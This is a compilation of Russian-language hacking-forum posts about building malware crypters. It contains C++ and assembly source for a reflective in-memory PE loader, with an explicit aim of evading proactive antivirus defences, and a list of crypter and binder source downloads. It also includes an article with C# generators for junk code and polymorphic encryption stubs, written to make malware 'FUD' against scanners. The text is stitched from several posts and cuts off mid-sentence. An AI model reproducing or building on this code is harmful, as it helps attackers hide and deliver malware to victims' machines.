PIMAGE_FIXUP_ENTRY Fixup = (PIMAGE_FIXUP_ENTRY)((DWORD_PTR)Reloc + sizeof(IMAGE_BASE_RELOCATION));
for (int r = 0, sz = (Reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r < sz; r++)
{
if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW)
{
*(PINT)((DWORD_PTR)pDos + Reloc->VirtualAddress + Fixup->Offset) += Delta;
}else if (Fixup->Type==IMAGE_REL_BASED_DIR64)
{
if(Reloc->VirtualAddress + Fixup->Offset==0x63D88 )
{
Delta = (INT)ImageData - pNt->OptionalHeader.ImageBase;
}
*(PINT_PTR)((DWORD_PTR)pDos + Reloc->VirtualAddress + Fixup->Offset) += Delta;
}
Fixup++;
}
Reloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)Reloc + Reloc->SizeOfBlock);
} while (Reloc->VirtualAddress);
}
}
Обрабатываем таблицу смещений.
C++:Copy to clipboard
VOID __fastcall process_tls(KernelProcs* Procs,PVOID ImageData)
{
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ImageData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pDos + pDos->e_lfanew);
PIMAGE_TLS_DIRECTORY Tls = (PIMAGE_TLS_DIRECTORY)((DWORD_PTR)pDos + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
if( Tls!=(PIMAGE_TLS_DIRECTORY)pDos )
{
PBYTE pTlsData = (PBYTE)Procs->VirtualAlloc(NULL,Tls->EndAddressOfRawData - Tls->StartAddressOfRawData,MEM_COMMIT,PAGE_READWRITE);
if( pTlsData )
{
mem_copy(pTlsData,Tls->StartAddressOfRawData,Tls->EndAddressOfRawData - Tls->StartAddressOfRawData);
Procs->TlsSetValue(Procs->TlsAlloc(),pTlsData);
PDWORD_PTR Ptrs = (PDWORD_PTR)Procs->VirtualAlloc(NULL,1088*sizeof(DWORD_PTR),MEM_COMMIT,PAGE_READWRITE);
if( Ptrs )
{
if( *(PDWORD_PTR)Tls->AddressOfIndex==-1 )
{
Ptrs[0] = (DWORD_PTR)pTlsData;
}else{
Ptrs[ *(PDWORD_PTR)Tls->AddressOfIndex ] = (DWORD_PTR)pTlsData;
}
// http://svn.netlabs.org/repos/libc/trunk/libc/include/klibc/nt/fib.h
#ifdef _WIN64
__writegsqword(0x58,(DWORD_PTR)Ptrs);
#else
__writefsdword(0x2C,(DWORD_PTR)Ptrs);
#endif
}
}
}
}
Обрабатываем TLS колбеки.
На неумении обрабатывать TLS сыпятся очень многие крипторы.
Эта функция обрабатывает основные типы TLS колбеков и таким образом
многократно увеличивает покрытие файлов с TLS.
C++:Copy to clipboard
#ifdef _WIN64
PIMAGE_DOS_HEADER pNtdllDos = (PIMAGE_DOS_HEADER)Ntdll;
PIMAGE_NT_HEADERS pNtdllNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)pNtdllDos + pNtdllDos->e_lfanew);
PIMAGE_SECTION_HEADER pTextSection = IMAGE_FIRST_SECTION(pNtdllNt);
PVOID LdrpInvertedFunctionTable = NULL;
PBYTE stext = (PBYTE)((DWORD_PTR)pNtdllDos + pTextSection->VirtualAddress);
for(int i = 0; i < pTextSection->Misc.VirtualSize; i++)
{
if( *(stext + i)==0xE8 )
{
DWORD_PTR Address = (DWORD_PTR)((INT_PTR)stext + i + 5 + *(PINT32)(stext + i + 1));
if( Address==(DWORD_PTR)kprocs.AcquireSRWLockShared )
{
PBYTE pMov = stext + i + 5;
PBYTE pStart = pMov;
if( *pMov==0x44 ) pMov++; // mov r9d
if( *pMov==0x8B )
{
pMov++;
if( *pMov==0x0D || *pMov==0x15 )
{
pMov++;
LdrpInvertedFunctionTable = (PVOID)((INT_PTR)pStart + (pMov - (stext + i + 5)) + 4 + *(PINT32)pMov);
break;
}
}
}
}
}
Тут снова важный момент. [Подробнее тут.](https://docs.microsoft.com/en- us/windows/win32/api/synchapi/nf-synchapi-acquiresrwlockshared)
Цитата с хабра: RWLock — это такой примитив синхронизации, позволяющий одновременное чтение и эксклюзивную запись. Т.е. чтение блокирует запись, но не блокирует чтение других тредов, а запись блокирует все.
Click to expand...
Обработка секции кода с помощью AcquireSRWLockShared, чтобы правильно готовить синхронизацию на чтение и запись.
C++:Copy to clipboard
__debugbreak();
if( LdrpInvertedFunctionTable )
{
__debugbreak();
if( Peb->OSMajorVersion==6 && Peb->OSMinorVersion > 1 ) // 8++
{
PRTL_INVERTED_FUNCTION_TABLE8 table = (PRTL_INVERTED_FUNCTION_TABLE8)LdrpInvertedFunctionTable;
for(int i = 0; i < table->Count; i++)
{
if( table->Entries[i].ImageBase==(PVOID)Base )
{
table->Entries[i].ImageBase = NewImageBase;
table->Entries[i].ImageSize = pNewNt->OptionalHeader.SizeOfImage;
table->Entries[i].ExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((DWORD_PTR)NewImageBase + pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
table->Entries[i].ExceptionDirectorySize = pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
break;
}
}
}else{ // < 7
PRTL_INVERTED_FUNCTION_TABLE7 table = (PRTL_INVERTED_FUNCTION_TABLE7)LdrpInvertedFunctionTable;
for(int i = 0; i < table->Count; i++)
{
if( table->Entries[i].ImageBase==(PVOID)Base )
{
table->Entries[i].ImageBase = NewImageBase;
table->Entries[i].ImageSize = pNewNt->OptionalHeader.SizeOfImage;
table->Entries[i].ExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((DWORD_PTR)NewImageBase + pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
table->Entries[i].ExceptionDirectorySize = pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
break;
}
}
}
}
#endif
Правильная обработка таблицы исключений для Peb->OSMajorVersion==6 && Peb->OSMinorVersion > 1 // 8++.
C++:Copy to clipboard
#ifndef _WIN64
// remove SAFESEH if exists
if( pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress )
{
pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress = NULL;
pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size = NULL;
}
// restore seh
PSEH_FRAME Seh = (PSEH_FRAME)__readfsdword(0);
while( IN_DLL(Seh->Callback,Base,Base + SizeOfBase) )
{
Seh = Seh->Next;
}
__writefsdword(0,(DWORD_PTR)Seh);
// find ebp end
PSTACK_FRAME Ebp = (PSTACK_FRAME)read_ebp();
while( !IN_DLL(Ebp->ReturnAddress,Kernel32,Kernel32Ends) && !IN_DLL(Ebp->ReturnAddress,Ntdll,NtdllEnds) )
{
Ebp = Ebp->Next;
}
restore_regs(Ebp,(pNt->FileHeader.Characteristics & IMAGE_FILE_DLL),PrologLocalVarsSize,(DWORD_PTR)NewImageBase + pNt->OptionalHeader.AddressOfEntryPoint);
#else
restore_regs(
SaveRegs,(pNt->FileHeader.Characteristics & IMAGE_FILE_DLL),(DWORD_PTR)NewImageBase + pNt->OptionalHeader.AddressOfEntryPoint);
#endif
}
kprocs.VirtualFree(SavedFile,NULL,MEM_RELEASE);
}
}
Правильно обрабатываем SEH.
Code:Copy to clipboard
restore_regs proc EbpFrame,IsDll,PrologSize,Ep
; ecx - ebp
; edx - is dll
; stack - Ep
;int 3
mov ecx, EbpFrame
.if IsDll
; skip mov esi, esp, after all regs will restored
add dword ptr [ecx + 4], 2
.else
; msvc2008
mov edx, ecx
sub edx, PrologSize
mov ebx , dword ptr [edx - 014h]
mov esi , dword ptr [edx - 018h]
mov edi , dword ptr [edx - 01Ch]
.endif
mov edx, Ep
; correct stack
mov ebp, dword ptr [ecx]
lea esp, [ecx + 4]
;int 3
jmp edx
restore_regs endp
restore_regs - Восстанавливаем пролог, корректируем стек и переходим по точке входа в замепленномый образ.
C++:Copy to clipboard
#ifdef _WIN64
PDWORD_PTR __fastcall find_next_rsp(PDWORD_PTR regs,PDWORD_PTR Rsp)
{
ldasm_data dasm;
dasm.lde_flags_table = lde_get_table();
dasm.lde_flags_table_ex = lde_get_table_ex();
PBYTE pCode = (PBYTE)*Rsp; // return address
DWORD len = 0;
DWORD r11;
Rsp = Rsp + 1;
do
{
pCode = pCode + len;
len = lde_length(&dasm,LDE_CPU_TYPE_X64,pCode);
if( !len )
return NULL;
DWORD Step = 0;
DWORD creg,offset;
if( len==8 )
{
/*
.text:0000000140001DB1 48 8B 84 24 98 01 00 00 mov rax, [rsp+198h]
.text:0000000140001DB9 48 8B 8C 24 98 01 00 00 mov rcx, [rsp+198h]
.text:0000000140001DC1 48 8B 94 24 98 01 00 00 mov rdx, [rsp+198h]
.text:0000000140001DC9 48 8B 9C 24 98 01 00 00 mov rbx, [rsp+198h]
.text:0000000140001DD1 48 8B A4 24 98 01 00 00 mov rsp, [rsp+198h]
.text:0000000140001DD9 48 8B AC 24 98 01 00 00 mov rbp, [rsp+198h]
.text:0000000140001DE1 48 8B B4 24 98 01 00 00 mov rsi, [rsp+198h]
.text:0000000140001DE9 48 8B BC 24 98 01 00 00 mov rdi, [rsp+198h]
.text:0000000140001DF1 4C 8B 84 24 98 01 00 00 mov r8, [rsp+198h]
.text:0000000140001DF9 4C 8B 8C 24 98 01 00 00 mov r9, [rsp+198h]
.text:0000000140001E01 4C 8B 94 24 98 01 00 00 mov r10, [rsp+198h]
.text:0000000140001E09 4C 8B 9C 24 98 01 00 00 mov r11, [rsp+198h]
.text:0000000140001E11 4C 8B A4 24 98 01 00 00 mov r12, [rsp+198h]
.text:0000000140001E19 4C 8B AC 24 98 01 00 00 mov r13, [rsp+198h]
.text:0000000140001E21 4C 8B B4 24 98 01 00 00 mov r14, [rsp+198h]
.text:0000000140001E29 4C 8B BC 24 98 01 00 00 mov r15, [rsp+198h]
*/
if( (*(PWORD)pCode==0x8B48 || *(PWORD)pCode==0x8B4C) && pCode[3]==0x24 )
{
if( *pCode==0x4C ) Step += r_step;
creg = (*(pCode + 2) - 0x84)/8;
offset = *(PDWORD)(pCode + 4);
regs[Step + creg] = *(PDWORD_PTR)((PBYTE)Rsp + offset);
}
/*
.text:0000000140001D01 48 8D 84 24 98 01 00 00 lea rax, [rsp+198h]
.text:0000000140001D09 48 8D 8C 24 98 01 00 00 lea rcx, [rsp+198h]
.text:0000000140001D11 48 8D 94 24 98 01 00 00 lea rdx, [rsp+198h]
.text:0000000140001D19 48 8D 9C 24 98 01 00 00 lea rbx, [rsp+198h]
.text:0000000140001D21 48 8D A4 24 98 01 00 00 lea rsp, [rsp+198h]
.text:0000000140001D29 48 8D AC 24 98 01 00 00 lea rbp, [rsp+198h]
.text:0000000140001D31 48 8D B4 24 98 01 00 00 lea rsi, [rsp+198h]
.text:0000000140001D39 48 8D BC 24 98 01 00 00 lea rdi, [rsp+198h]
.text:0000000140001D41 4C 8D 84 24 98 01 00 00 lea r8, [rsp+198h]
.text:0000000140001D49 4C 8D 8C 24 98 01 00 00 lea r9, [rsp+198h]
.text:0000000140001D51 4C 8D 94 24 98 01 00 00 lea r10, [rsp+198h]
.text:0000000140001D59 4C 8D 9C 24 98 01 00 00 lea r11, [rsp+198h]
.text:0000000140001D61 4C 8D A4 24 98 01 00 00 lea r12, [rsp+198h]
.text:0000000140001D69 4C 8D AC 24 98 01 00 00 lea r13, [rsp+198h]
.text:0000000140001D71 4C 8D B4 24 98 01 00 00 lea r14, [rsp+198h]
.text:0000000140001D79 4C 8D BC 24 98 01 00 00 lea r15, [rsp+198h]
*/
if( (*(PWORD)pCode==0x8D48 || *(PWORD)pCode==0x8D4C) && pCode[3]==0x24 )
{
if( *pCode==0x4C ) Step += r_step;
creg = (*(pCode + 2) - 0x84)/8;
offset = *(PDWORD)(pCode + 4);
regs[Step + creg] = (DWORD_PTR)Rsp + offset;
}
}else if( len==5 )
{
/*
.text:0000000140001D61 48 8B 44 24 11 mov rax, [rsp+11h]
.text:0000000140001D66 48 8B 4C 24 11 mov rcx, [rsp+11h]
.text:0000000140001D6B 48 8B 54 24 11 mov rdx, [rsp+11h]
.text:0000000140001D70 48 8B 5C 24 11 mov rbx, [rsp+11h]
.text:0000000140001D75 48 8B 64 24 11 mov rsp, [rsp+11h]
.text:0000000140001D7A 48 8B 6C 24 11 mov rbp, [rsp+11h]
.text:0000000140001D7F 48 8B 74 24 11 mov rsi, [rsp+11h]
.text:0000000140001D84 48 8B 7C 24 11 mov rdi, [rsp+11h]
.text:0000000140001D89 4C 8B 44 24 11 mov r8, [rsp+11h]
.text:0000000140001D8E 4C 8B 4C 24 11 mov r9, [rsp+11h]
.text:0000000140001D93 4C 8B 54 24 11 mov r10, [rsp+11h]
.text:0000000140001D98 4C 8B 5C 24 11 mov r11, [rsp+11h]
.text:0000000140001D9D 4C 8B 64 24 11 mov r12, [rsp+11h]
.text:0000000140001DA2 4C 8B 6C 24 11 mov r13, [rsp+11h]
.text:0000000140001DA7 4C 8B 74 24 11 mov r14, [rsp+11h]
.text:0000000140001DAC 4C 8B 7C 24 11 mov r15, [rsp+11h]
*/
if( (*(PWORD)pCode==0x8B48 || *(PWORD)pCode==0x8B4C) && pCode[3]==0x24 )
{
if( *pCode==0x4C ) Step += r_step;
creg = (*(pCode + 2) - 0x44)/8;
offset = *(pCode + 4);
regs[Step + creg] = *(PDWORD_PTR)((PBYTE)Rsp + offset);
}
/*
.text:0000000140001CB1 48 8D 44 24 11 lea rax, [rsp+11h]
.text:0000000140001CB6 48 8D 4C 24 11 lea rcx, [rsp+11h]
.text:0000000140001CBB 48 8D 54 24 11 lea rdx, [rsp+11h]
.text:0000000140001CC0 48 8D 5C 24 11 lea rbx, [rsp+11h]
.text:0000000140001CC5 48 8D 64 24 11 lea rsp, [rsp+11h]
.text:0000000140001CCA 48 8D 6C 24 11 lea rbp, [rsp+11h]
.text:0000000140001CCF 48 8D 74 24 11 lea rsi, [rsp+11h]
.text:0000000140001CD4 48 8D 7C 24 11 lea rdi, [rsp+11h]
.text:0000000140001CD9 4C 8D 44 24 11 lea r8, [rsp+11h]
.text:0000000140001CDE 4C 8D 4C 24 11 lea r9, [rsp+11h]
.text:0000000140001CE3 4C 8D 54 24 11 lea r10, [rsp+11h]
.text:0000000140001CE8 4C 8D 5C 24 11 lea r11, [rsp+11h]
.text:0000000140001CED 4C 8D 64 24 11 lea r12, [rsp+11h]
.text:0000000140001CF2 4C 8D 6C 24 11 lea r13, [rsp+11h]
.text:0000000140001CF7 4C 8D 74 24 11 lea r14, [rsp+11h]
.text:0000000140001CFC 4C 8D 7C 24 11 lea r15, [rsp+11h]
*/
if( (*(PWORD)pCode==0x8D48 || *(PWORD)pCode==0x8D4C) && pCode[3]==0x24 )
{
if( *pCode==0x4C ) Step += r_step;
creg = (*(pCode + 2) - 0x44)/8;
offset = *(pCode + 4);
regs[Step + creg] = (DWORD_PTR)Rsp + offset;
}
}else if( len==1 || len==2 )
{
/*
.text:0000000140001D61 58 pop rax
.text:0000000140001D62 59 pop rcx
.text:0000000140001D63 5A pop rdx
.text:0000000140001D64 5B pop rbx
.text:0000000140001D65 5C pop rsp
.text:0000000140001D66 5D pop rbp
.text:0000000140001D67 5E pop rsi
.text:0000000140001D68 5F pop rdi
.text:0000000140001D69 41 58 pop r8
.text:0000000140001D6B 41 59 pop r9
.text:0000000140001D6D 41 5A pop r10
.text:0000000140001D6F 41 5B pop r11
.text:0000000140001D71 41 5C pop r12
.text:0000000140001D73 41 5D pop r13
.text:0000000140001D75 41 5E pop r14
.text:0000000140001D77 41 5F pop r15
*/
BOOL next = FALSE;
if( *pCode>=0x5B && *pCode<=0x5F ) // only rbp - rdi
{
next = true;
creg = *pCode - 0x58;
}else if( *pCode==0x41 && *(pCode + 1)>=0x5C && *(pCode + 1)<=0x5F) // only r12-r15
{
next = true;
creg = *(pCode + 1) - 0x58;
Step += r_step;
}
if( next )
{
regs[Step + creg] = *(PDWORD_PTR)Rsp;
Rsp = Rsp + 1;
}
}else if (len==4 && *pCode==0x48 && *(PWORD)(pCode + 1)==0xC483 )
{
// .text:0000000140001C51 48 83 C4 28 add rsp, 28h
Rsp = (PDWORD_PTR)((PBYTE)Rsp + pCode[3]);
}else if( len==7 && *pCode==0x48 && *(PWORD)(pCode + 1)==0xC481 )
{
// .text:0000000140001BE6 48 81 C4 88 00 00 00 add rsp, 88h
Rsp = (PDWORD_PTR)((PBYTE)Rsp + *(PDWORD)(pCode + 3) );
}else if( len==3 && *pCode==0x49 && *(PWORD)(pCode + 1)==0xE38B )
{
//.text:0000000140002680 49 8B E3 mov rsp, r11
Rsp = (PDWORD_PTR)regs[r_r11];
}
} while (*pCode!=0xC3);
regs[r_rsp] = (DWORD_PTR)Rsp;
return Rsp;
}
Для x64 PE находим Rsp.
C++:Copy to clipboard
DWORD __fastcall lde_length(ldasm_data *ld,LDE_CPU_TYPE CpuType, PVOID Memory)
{
BYTE *p = (PBYTE)Memory;
BYTE s, op, f;
BYTE rexw, pr_66, pr_67;
s = rexw = pr_66 = pr_67 = 0;
/* dummy check */
if (!Memory)
return 0;
/* init output data */
mem_zero(ld, sizeof(ldasm_data) - sizeof(PBYTE) - sizeof(PBYTE));
/* phase 1: parse prefixies */
while (ld->lde_flags_table[*p] & OP_PREFIX)
{
if (*p == 0x66)
pr_66 = 1;
if (*p == 0x67)
pr_67 = 1;
p++; s++;
ld->flags |= F_PREFIX;
if (s == 15) {
ld->flags |= F_INVALID;
return s;
}
}
/* parse REX prefix */
if (CpuType == LDE_CPU_TYPE_X64 && *p >> 4 == 4)
{
ld->rex = *p;
rexw = (ld->rex >> 3) & 1;
ld->flags |= F_REX;
p++; s++;
}
/* can be only one REX prefix */
if (CpuType == LDE_CPU_TYPE_X64 && *p >> 4 == 4)
{
ld->flags |= F_INVALID;
s++;
return s;
}
/* phase 2: parse op Memory */
ld->opcd_offset = (BYTE)(p - (BYTE*)Memory);
ld->opcd_size = 1;
op = *p++; s++;
/* is 2 byte opcede? */
if (op == 0x0F)
{
op = *p++; s++;
ld->opcd_size++;
f = ld->lde_flags_table_ex[op];
if (f & OP_INVALID){
ld->flags |= F_INVALID;
return s;
}
/* for SSE instructions */
if (f & OP_EXTENDED) {
op = *p++; s++;
ld->opcd_size++;
}
}
else {
f = ld->lde_flags_table[op];
/* pr_66 = pr_67 for opMemorys A0-A3 */
if (op >= 0xA0 && op <= 0xA3)
pr_66 = pr_67;
}
/* phase 3: parse ModR/M, SIB and DISP */
if (f & OP_MODRM) {
BYTE mod = (*p >> 6);
BYTE ro = (*p & 0x38) >> 3;
BYTE rm = (*p & 7);
ld->modrm = *p++; s++;
ld->flags |= F_MODRM;
/* in F6,F7 opMemorys immediate data present if R/O == 0 */
if (op == 0xF6 && (ro == 0 || ro == 1))
f |= OP_DATA_I8;
if (op == 0xF7 && (ro == 0 || ro == 1))
f |= OP_DATA_I16_I32_I64;
/* is SIB byte exist? */
if (mod != 3 && rm == 4 && !(!CpuType == LDE_CPU_TYPE_X64 && pr_67)) {
ld->sib = *p++; s++;
ld->flags |= F_SIB;
/* if base == 5 and mod == 0 */
if ((ld->sib & 7) == 5 && mod == 0) {
ld->disp_size = 4;
}
}
if (!mod)
{
if (CpuType == LDE_CPU_TYPE_X64) {
if (rm == 5) {
ld->disp_size = 4;
if (CpuType == LDE_CPU_TYPE_X64)
ld->flags |= F_RELATIVE;
}
}
else if (pr_67) {
if (rm == 6)
ld->disp_size = 2;
}
else {
if (rm == 5)
ld->disp_size = 4;
}
}
else if (mod == 1)
{
ld->disp_size = 1;
}
else if (mod == 2)
{
if (CpuType == LDE_CPU_TYPE_X64)
ld->disp_size = 4;
else if (pr_67)
ld->disp_size = 2;
else
ld->disp_size = 4;
}
if (ld->disp_size) {
ld->disp_offset = (BYTE)(p - (BYTE *)Memory);
p += ld->disp_size;
s += ld->disp_size;
ld->flags |= F_DISP;
}
}
/* phase 4: parse immediate data */
if (rexw && f & OP_DATA_I16_I32_I64)
ld->imm_size = 8;
else if (f & OP_DATA_I16_I32 || f & OP_DATA_I16_I32_I64)
ld->imm_size = 4 - (pr_66 << 1);
/* if exist, add OP_DATA_I16 and OP_DATA_I8 size */
ld->imm_size += f & 3;
if (ld->imm_size) {
s += ld->imm_size;
ld->imm_offset = (BYTE)(p - (BYTE *)Memory);
ld->flags |= F_IMM;
if (f & OP_RELATIVE)
ld->flags |= F_RELATIVE;
}
/* instruction is too long */
if (s > 15)
{
ld->flags |= F_INVALID;
s = 0;
}
return s;
}
Дизассемлер длин.
Что касается преимуществ данного способа меппинга - это отсутствие вызовов,
таких как порождение нового процесса или получение и смена контекста, работа с
потоками, на которые могли бы триггерить проактивки.
Для более скрытного использования загрузчика можно подружить его в syscallы и
будет вообще малина.
Скачать проект можно тут:
https://gofile.io/d/CxBJFb
В этот раз для получения пароля на архив нужно немножко больше навыков, чем
юзать онлайн encode-decode утилиты, зато интересно и по-приколу =D.
Дано массив размером 10
Инициализатор генератора случайных чисел на 0x1337 (seed).
Пароль это результат суммы всех сгенерированных случайных чисел массива в виде
хэша от алгоритма whirlpool в lowercase.
На выходе должно получиться что-то вроде
5350b5db7c67126b3c910cbf2..........................................................aed190a232756b082652e4f0c0fcf333c1990ba05c7febf
(всего 206 символов).
Хэш от строки в whirlpool можно получить тут
https://www.tools4noobs.com/online_tools/hash/.
Пример питон скрипта который можно дописать:
Python:Copy to clipboard
import random as r
SIZE = 10
rnd_seed = int(0x1337)
r.seed(a=rnd_seed)
result = 0
array = [r.randint(1, 10) for _ in range (SIZE)]
Собирался проект на VC2010.
Для правильной работы Custom build Rules(инлайн масма) нужно скопировать
файлы
"masm64.rules"
"masm32.rules"
в C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\BuildCustomizations.
[Подробнее тут.](https://devblogs.microsoft.com/cppblog/quick-help-on-
vs2010-custom-build-rule/)
В архиве намеренно отсутствует файл get_first_section.exe - его задача
вытащить сырой блок кода из секции кода, считай дампер шеллкода, но это совсем
для ленивых и я не рекомендую вам использовать автоматизацию в таких случаях.
Проще загрузить собранный загрузчик в x32\x64dbg и ручками его вытащить и
сохранить - это ваше домашнее задание.
Вместо заключения:
В коде сознательно присутствуют некоторые ошибки от дураков, чтобы не
копипастили бездумно. Просьба не шарить исправленный.
Ответственно могу заявить, что перед вами наиболее полный из возможных,
загрзчик бинариков в память на сегодняший день (не считая виндового
).
Как итог, скомбинировав проект криптора из прошлой статьи с загрузчиком из
этой статьи, можно получить свой полноценный криптор.
Как-нибудь в другой раз мы рассмотрим процесс морфинга шеллкода и алгоритмы и
способы антиэмуляции, но это уже тема для дугой статьи
Спасибо за внимание.
Carbon Crypter 1.7 Source
http://depositfiles.com/files/52rh3ybt3
Shadow Crypter Private Version Source Code
http://rapidshare.de/files/41197138/Shadow...OLD_Aj.rar.html
Anskya Polymorphic Packer 1.3
BE 1.3
Crypter 3.1
Ex Binder 0.1
File Joiner
FileCrypterPro by Aphex
GHF Protector
Open Source Code Crypter 1.0
Pecrypt
pScrambler 1.2 by p0ke
SmokesCrypter 1.2
Spider Small Binder
Super Crypt 1.0 by
Download: http://www.sendspace.com/file/7fcnie
Pass: Fland+
UnDo Cryptor Source
http://rapidshare.com/files/145866100/UnDo...Source.rar.html
Morphine v2.7 by Holy_Father
Создал отдельную тему в связи с её актуальностью.
Всем привет, это моя вторая статья, давно я решил написать криптор для дотнет
софта, просто для
эксперемента. Да не просто криптор, а криптор с функцией генерации стаба! и не
просто рандомное имя переменным, а
трешген, методы запуска софта и прочее! Сподвигло меня начать писать крипторы
желание посмотреть что из этого выйдет, и
то, что я видел просто кучу топиков с продажей крипта от всяких ноунеймов за
два бакса.
Больше всего меня удивляют те люди, которые ещё и умдряются кидать на крипт,
это нужно быть
сверх разумом. Ну возмжно мне не понять, возможно это отдельная секта людей
для которых тут важно лишь
одно -- деньги. Поговорим немного по поводу всяких сервисов по крипту. Обычно
они пишут стаб раз в неделю и
криптуют файлы этим стабом, идея криптора которая будет описанна в этой статье
значительно упрощает жизнь
таким людям. Для чистки криптора достаточно совсем немного воображения, и
чисткой нужно будет заниматься
раз в месяц-два это минимум.
Идея криптора в том, что он будет сам себе создавать стаб, криптор для C#
работает на основе генерации треш кода,
а криптор для C++ работает на основе генерации большого алгоритма шифрования.
Это был просто эксперимент, и
что из этого получилось вы сможете прочитать ниже.
В процессе написания крипторов такого рода я понял что антивирусы не любят
рандом =)
Ещё антивирусы как и раньше ведутся на трешкод и тайминг атаки, но только если
всё это сделанно
качественно а не на коленке. Надеюсь вам будет интересно читать эту статью.
Посмотрим что из этого выйдет
Моё мнение по поводу антивирусов и вообще того, что там происходит будет в
конце статьи.
**Термины
Криптор: **софт который убирает скантайм детекты у файла и по возможности не
добавляет новыйх рантайм детектов.
Стаб: маска закриптованного файла, обычно содержит немного антиэмуля,
алгоритм шифрования и сам массив байтов файла.
Алгоритм шифрования: ну в крипторах идеальным алгоритмом шифрования
является такой алгоритм, который аверы не смогут понять,
которыйх хорошо скрывает настоящий буффер и который долго отрабатывает (для
обхода ав-вм).
Трешген: код который создаёт мусорный\рандомный код, это для запутывания
ав, такой код называвается Трешкод
Трешкод: сам рандомный код, его добавляют в софт чтобы сбить сигнатурные
детекты, привести в тупик
ав-вм.
Метод запуска: код который запускает в памяти другой файл используя лишь
массив байтов, хороший вариант такого кода это
LoadPE
dotNet(жил 3 месяца)
Начнём с теории. dotNet софт имеет свой язык по типу асма, он называется IL,
dotNet софт на сколько я знаю
запускается в виртуальной машине как и Java.
Это усложняет работу для ав так как им нужно использовать никальные техники
для анализа dotNet файла.
Я решил использовать это и написал простенький криптор и генератор стаба.
Сам генератор стаба генерировал рандомное число в определённом диапазоне и в
зависимости от этого
числа выберал что ему делать, добавлять мусорный код, добавить код запуска и
так далее..
Я сделал в крипторе отдельные генераторы для функций, кода и тп..
P.S. говнокод, писал очень давно
C#:Copy to clipboard
int count = 5;
int w = 10;
while (w > count)
{
w = Convert.ToInt32(ran.genInt(1));
}
switch (w) {
case 5: return rand5(callfunc);
case 4: return rand4(callfunc);
case 3: return rand3(callfunc);
case 2: return rand2(callfunc);
case 1: return rand1(callfunc);
default: return rand1(callfunc);
}
Суть такого крипта в том, что он будет жить очень долго, а как умрёт нужно
будет
немного переписать маски рандомного кода и методы запуска софта, и опять будет
FUD
На данный момент я при первом тесте полчил два детекта, а на следующем тесте
получил 10 детектов :|
(Без ESET кстати)
Src: https://anonfile.com/F7Idq794n0/sharp_rar
C++
Тут я решил попробовать что будет, если я на шарпах буду генерировать алгоритм
шифрования, шифровать им массив байтов,
генерировать C++ сорс и его компилировать, я использовал консольный компилятор
GCC для этих целей.
Мой криптор работал по следующей схеме:
генерации сида (Пример: +-^^-+--++-+^^^+-^+--+-^),
генерация алгоритма шифрования на основе этого сида:
+ = сложение
- = вычитание
^ = xor
шифрование файла этим алгоритмом,
создание .cpp файла и последующая компиляция gcc
суть этого метода в том, что если создать большой алгоритм шифрования то авер
просто не вывезет это.
Ну как вы поняли у меня было 0 детектов на скантайме и примерно 2 детекта на
рантайме.
Вообще я не ожидал что это сработает, я просто эксперементировал =)
Вот код генератора на C#
C#:Copy to clipboard
static List<string> polyGen(uint[] c, int decoders_count_min, int decoders_count_max)
{
List<string> ret = new List<string>();
string arrayCode = "unsigned char arcode[" + c.Length + "] = ";
List<string> decryptors_array = new List<string>();
List<string> variables = new List<string>();
arrayCode += "{";
List<string> decoder = new List<string>();
arrayCode += cByte(c, decoder, decoders_count_min + (Convert.ToInt32(r.int_(3)) % (decoders_count_max - decoders_count_min + 1)));
decryptors_array = decoder;
arrayCode += "};";
variables = blendArray(variables);
ret.Add(arrayCode);
for (int i = 0; i < variables.Count; i++)
{
ret.Add(variables[i]);
}
for (int i = 0; i < decryptors_array.Count; i++)
{
ret.Add(decryptors_array[i]);
}
return ret;
}
Src: https://anonfile.com/f5Kaq198n4/cplusplus_rar
Заключение
В заключении хочу сказать что крипторы вообще мёртвая тема т.к. современные
мощности позваляют
сделать антивирус который всё это присечёт, к примеру гипервизор. Я не понимаю
почему крипторы и малварь вообще
жива, скорее всего это кому-то выгодно. И по поводу dotNet софта, на мой
взгляд этот язык не подходит
для написания малвари по ряду очевидных причин, но как говорился каждый
дрочет так как хочет
На мой взгляд стабовые крипторы уже давно мертвы, и не стоит пытаться делать
такой криптор.
Лушче чуть больше вникнуть во всё это и писать нормальный криптор, чем больше
стараешься, тем
больше выхлоп будет от софта.
На данный момент имеет перспективу APT и fileless малварь, а загрузки и прочее
это как-то не интересно =)
Чтобы написать криптор мне потребовалось немного пива и две недели свободного
кодинга (не все сутки, а когда хочу).
Криптография в крипторах тоже играет очень большую роль, чем сложнее она, тем
хуже будет аверам. Ещё я не понимаю
тех, кто говорит что стаб должен импортировать все функции по хешу и тп, я так
не думаю.. ну как, почти. Я думаю что
стаб должен использовать статические импорты, но критические и 'палевные'
части он должен динамически импортировать.
Я думаю что авер не такой наивный что при виде файлика с нулевыми импортами и
непонятным кодом скажет что он чист =)
Антивирусы делают тоже люди, такие же люди как и мы, и у них тоже есть мозги.
Отличие в том, что они работают за зарплату
в своих офисах, а мы работаем за идею, за цель, за интерес.
Уже есть теноголии для анализа закриптованной малвари, но внедрили самую
хреновую из них =)
На мой взгляд самая лучшая технология это та, которая при открытии файла
помещает его вм с полной симуляцией вызовов а не
